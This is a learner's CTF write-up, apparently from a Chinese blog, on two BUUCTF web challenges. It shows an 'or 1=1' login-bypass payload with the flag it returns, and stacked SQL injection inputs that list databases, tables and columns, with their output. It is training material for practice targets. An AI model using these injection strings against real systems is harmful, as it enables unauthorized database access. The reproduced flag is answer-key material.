

buuctf刷题笔记

原创

[Gygert](#) 于 2021-03-15 21:27:15 发布 75 收藏

文章标签: [安全 web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/Gygert/article/details/114801760>

版权

CTF web刷题笔记

菜狗二进制学不下去了开始学web嫩

目录

CTF web刷题笔记

SQL注入

[buu_\[极客大挑战 2019\]EasySQL](#)

[buu_随便注](#)

SQL注入

buu_[极客大挑战 2019]EasySQL

听说SQL注入有万能密码

```
username=admin' or '1'='1&password=admin' or '1'='1
```

我是c14y, 是一个WEB开发工程师, 最近我做了一个网站, 快来看看它有多精湛叭!

GO TO WORK, GET MARRIED
HAVE SOME KIDS, PAY YOUR TAXES
PAY YOUR BILLS, WATCH YOUR TV
FOLLOW FASHION, ACT NORMAL
OBEY THE LAW
AND REPEAT AFTER ME:
I AM FREE

用户名:

密码:

登录



<https://blog.csdn.net/Gygert>

Login Success!

WORK, GET MARRIED
THE KIDS, PAY YOUR TAXES
R BILLS, WATCH YOUR TV
FASHION, ACT NORMAL
Y THE LAW
REPEAT AFTER ME:

flag:

flag{8fd0c151-4c7f-4899-a07f-5a077c2a8f0f}

<https://blog.csdn.net/Gygert>

buu_随便注

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

<https://blog.csdn.net/Gygert>

输入2显示miaomiaomiao其他就没了

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

```
array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}
```

<https://blog.csdn.net/Gygert>

先用?inject=1'测试下

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' at line 1

```
1';show databases;#
```

听说这叫堆叠注入？

姿势:

```
array(2) {  
  [0]=>  
  string(1) "1"  
  [1]=>  
  string(7) "hahahah"  
}
```

```
array(1) {  
  [0]=>  
  string(11) "ctftraining"  
}
```

```
array(1) {  
  [0]=>  
  string(18) "information_schema"  
}
```

```
array(1) {  
  [0]=>  
  string(5) "mysql"  
}
```

```
array(1) {  
  [0]=>  
  string(18) "performance_schema"  
}
```

```
array(1) {  
  [0]=>  
  string(9) "supersqli"  
}
```

```
array(1) {  
  [0]=>  
  string(4) "test"  
}
```

<https://blog.csdn.net/Gyger>

```
1';show tables;#
```

姿势:

```
array(2) {  
  [0]=>  
  string(1) "1"  
  [1]=>  
  string(7) "hahahah"  
}
```

```
array(1) {  
  [0]=>  
  string(16) "1919810931114514"  
}
```

```
array(1) {  
  [0]=>  
  string(5) "words"  
}
```

<https://blog.csdn.net/Gyger>

```
1';show columns from `1919810931114514`;#
```

姿势:

```
array(2) {  
  [0]=>  
  string(1) "1"  
  [1]=>  
  string(7) "hahahah"  
}
```

```
array(6) {  
  [0]=>  
  string(4) "flag"  
  [1]=>  
  string(12) "varchar(100)"  
  [2]=>  
  string(2) "NO"  
  [3]=>  
  string(0) ""  
  [4]=>  
  NULL  
  [5]=>  
  string(0) ""  
}
```

<https://blog.csdn.net/Gyger1>

后面不会做了。。。听说要改表名啥的贴个大佬的WP吧

Challenge

5384 Solves

[强网杯 2019]随便注

尼玛这第三题就这么难了？还tm五千多人做出来了？这是逼我滚回去做二进制？